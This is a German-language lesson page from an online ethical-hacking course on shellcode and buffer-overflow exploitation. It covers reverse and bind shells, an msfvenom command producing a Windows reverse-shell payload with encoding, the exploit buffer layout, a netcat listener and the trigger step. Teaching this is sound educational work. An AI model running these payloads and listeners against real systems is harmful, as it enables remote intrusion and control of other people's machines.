0Pricing
Ethical Hacking Academy · Lektion

Shellcode und Exploitation

Eine Shell erhalten

Shellcode und Exploitation ist eine kostenlose Ethical Hacking Academy-Lektion auf CoddyKit. Dies ist Lektion 4 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Ethical Hacking Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Ethical Hacking Academy-Kurs umfasst insgesamt 4 Lektionen.

Was ist Shellcode?

Shellcode ist ein kleines Stück Maschinencode, das bei seiner Ausführung eine Aktion ausführt, klassischerweise das Starten einer Shell. Er ist die Payload, auf die Sie die Ausführung nach der Kontrolle über EIP umleiten.

Er wird als rohe Bytes (Opcodes) geschrieben, damit er direkt in den Speicher eingeschleust werden kann.

Arten von Payloads

Zu den häufigen Zielen von Payloads gehören:

  • Bind Shell: öffnet einen lauschenden Port auf dem Opferrechner.
  • Reverse Shell: verbindet sich zurück mit dem Angreifer (funktioniert besser durch Firewalls und NAT).
  • Befehl ausführen: führt einen einzelnen Befehl aus, etwa zum Anlegen eines Benutzers.

Reverse Shells sind bei realen Einsätzen am häufigsten.

Mit msfvenom erzeugen

msfvenom erzeugt Payloads. Sie geben den Payload-Typ, die Adresse und den Port des Listeners, das Ausgabeformat sowie alle zu vermeidenden problematischen Zeichen an.

Das Flag -b schließt problematische Zeichen aus; -f legt das Ausgabeformat fest.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

Warum Codierung erforderlich ist

Roher Shellcode enthält häufig problematische Zeichen (z. B. Nullbytes). Ein Encoder transformiert die Payload, um diese Bytes zu vermeiden, und stellt ihr anschließend einen Decoder-Stub voran, der den ursprünglichen Code zur Laufzeit wiederherstellt.

Der klassische Encoder ist x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

Der Decoder und die Selbstmodifikation

Codierter Shellcode decodiert sich selbst im Speicher, bevor er ausgeführt wird. Diese Selbstmodifikation benötigt etwas zusätzlichen Platz auf dem Stack. Das ist ein Grund dafür, dass ein NOP-Sled und ausreichend Pufferplatz hilfreich sind.

Manchmal müssen Sie ESP zunächst anpassen, damit der Decoder seinen eigenen Code nicht beschädigt.

Den finalen Exploit zusammensetzen

Der vollständige Exploit-Puffer besteht aus:

  • Auffüllbytes bis zum Offset.
  • Der Rücksprungadresse JMP ESP.
  • Einem NOP-Sled.
  • Dem codierten Shellcode.

Senden Sie dies an die verwundbare Eingabe, woraufhin die Ausführung in Ihre Payload übergeht.

buf = "A"*offset + ret + "\x90"*16 + shellcode

Listener einrichten

Für eine Reverse Shell müssen Sie auf Ihrem Rechner lauschen, bevor Sie den Exploit auslösen. Ein einfacher Netcat-Listener nimmt die eingehende Verbindung entgegen.

Für gestufte Payloads verwenden Sie stattdessen Metasploits multi/handler.

nc -lvnp 4444

Exploit auslösen

Wenn der Listener bereit ist, senden Sie den präparierten Puffer an das Ziel. Wenn alles passt, wird der Shellcode ausgeführt und Ihr Listener empfängt eine Shell auf dem Zielsystem.

Sie können nun Befehle mit den Berechtigungen des verwundbaren Prozesses ausführen.

python exploit.py 10.0.0.20 9999

Fehlerbehebung

Wenn es fehlschlägt, überprüfen Sie die häufigsten Ursachen:

  • Ein ungültiges Zeichen ist in den Shellcode oder die Rücksprungadresse gelangt.
  • Der NOP-Sled ist zu kurz.
  • Der Decoder hatte nicht genügend Platz auf dem Stack (ESP anpassen).
  • Falscher Offset oder falsche Byte-Reihenfolge.

Durch systematisches Debugging im Debugger lässt sich das Problem eingrenzen.

Über den klassischen Buffer Overflow hinaus

Wenn DEP und ASLR aktiviert sind, wird einfacher Shellcode auf dem Stack nicht ausgeführt. Moderne Exploits verwenden Return-Oriented Programming (ROP), um vorhandene Code-Gadgets zu verketten, sowie Informationslecks, um ASLR zu umgehen.

In diesem Kurs wurden die Grundlagen vermittelt, auf denen diese fortgeschrittenen Techniken aufbauen.

Staged vs. Stageless

Payloads gibt es in zwei Varianten. Ein stageless-Payload enthält den vollständigen Shellcode in einem Block. Ein staged-Payload sendet ein winziges Stub, das den Rest von Ihrem Handler herunterlädt.

Staged-Payloads passen in kleinere Puffer, benötigen aber einen passenden Handler wie Metasploits multi/handler, um die zweite Stufe bereitzustellen.

Schnelltest

Rufen Sie sich ins Gedächtnis, warum Shellcode häufig kodiert wird.

Zusammenfassung

Sie haben die Exploit-Kette abgeschlossen:

  • Shellcode ist die Payload; Reverse Shells sind in der Praxis am nützlichsten.
  • Generieren und kodieren Sie ihn mit msfvenom, um ungültige Zeichen zu vermeiden.
  • Setzen Sie Padding + JMP ESP + NOP-Sled + Shellcode zusammen, starten Sie einen Listener und lösen Sie den Exploit aus.
  • Moderne Ziele erfordern ROP und Informationslecks, um DEP/ASLR zu überwinden.

Sie haben den Kurs zur Ausnutzung von Buffer Overflows abgeschlossen.

Häufig gestellte Fragen

Ist die Lektion „Shellcode und Exploitation“ kostenlos?

Ja — der vollständige Text von „Shellcode und Exploitation“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Ethical Hacking Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Ethical Hacking Academy-Kurs umfasst insgesamt 4 Lektionen.

Was lerne ich in „Shellcode und Exploitation“?

Eine Shell erhalten Du übst Ethical Hacking Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.

Brauche ich Erfahrung, um Ethical Hacking Academy zu starten?

Keine Vorkenntnisse erforderlich. Ethical Hacking Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 4 von 4.

Wie lange dauert die Lektion „Shellcode und Exploitation“?

Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.

Kann ich in dieser Ethical Hacking Academy-Lektion Code schreiben und ausführen?

Ja. Jede Ethical Hacking Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.

Alle Lektionen in diesem Kurs

  1. Speicher und Stack
  2. Fuzzing zur Absturzsuche
  3. EIP kontrollieren
  4. Shellcode und Exploitation
← Zurück zu Ethical Hacking Academy